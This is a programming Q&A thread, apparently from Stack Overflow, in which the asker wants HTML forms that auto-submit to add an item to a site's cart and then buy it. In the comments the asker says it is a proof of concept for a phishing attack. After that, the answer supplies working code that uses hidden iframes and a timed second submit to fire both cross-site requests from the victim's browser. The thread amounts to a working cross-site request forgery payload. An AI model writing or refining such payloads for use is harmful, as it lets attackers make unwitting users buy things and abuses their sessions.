0
 <form id="addToCart" action="http://my-website/cart/action.php">
   <input type="hidden" name="action" value="add" />
   <input type="hidden" name="itemNum" value="201" />
   <input type="submit" value="Submit request" />
 </form>

 <form id="buy" action="http://my-website/cart/action.php?action=buy" method="POST">
   <input type="submit" value="Submit request" />
 </form>

 <script> 
    document.forms[0].submit();
    document.forms[1].submit();
 </script>
 

This only submits the first form but not the second. How can I get it to submit both?

Before anyone asks, I also tried this below and it still didn't work.

document.getElementById("addToCart").submit(); document.getElementById("buy").submit();

alex
  • 1
  • 3
  • The culprit is that form submission reloads the page by default; unfortunately, a lot of the potential dupe questions on this site seem really outdated. – SuperStormer Sep 30 '22 at 23:30
  • Does this answer your question? [Submit form without page reloading](https://stackoverflow.com/questions/2866063/submit-form-without-page-reloading) – SuperStormer Sep 30 '22 at 23:34
  • Alternatively, see https://stackoverflow.com/a/59847337/7941251 – SuperStormer Sep 30 '22 at 23:34
  • 1
    Could you explain why are you trying to submit both forms? You may probably need only one depending on what's expected. Also, you have 2 separate buttons for each action. – F.Igor Oct 01 '22 at 00:16
  • @SuperStormer I'm not sure how to set up the iframe to make it work. I did try it and it just gave the same result. Any suggestions? – alex Oct 01 '22 at 08:17
  • @F.Igor The purpose of this is that if I gave this form to someone, it should add an item to their cart and automatically buy it. It's a PoC for a phishing attack I'm doing. – alex Oct 01 '22 at 08:19
  • @F.Igor Is it possible to merge the two forms so that I only have one submit button? – alex Oct 01 '22 at 08:20

1 Answers1

0

One simple way to send 2 form submits at the same time is to post them to iframes with name (see the target attribute on forms). Optionally, to make sure both requests are made in sequence, and with a small time span, you can add a delay for the second request (setTimeout call)

document.forms[0].submit();
setTimeout(function(){
  document.forms[1].submit();
},500)
<form id="addToCart" action="http://my-website/cart/action.php" target="frm1">
   <input type="hidden" name="action" value="add" />
   <input type="hidden" name="itemNum" value="201" />
   <input type="submit" value="Submit request" />
 </form>

 <form id="buy" action="http://my-website/cart/action.php?action=buy" method="POST" target="frm2">
   <input type="submit" value="Submit request" />
 </form>

<iframe name="frm1" ></iframe>
<iframe name="frm2" ></iframe>

Another way is, as suggested, to use fetch/ajax requests instead of plain form submits, but for some scenarios that could not work because of CORS restrictions (if those requests are in a different domain).

F.Igor
  • 4,119
  • 1
  • 18
  • 26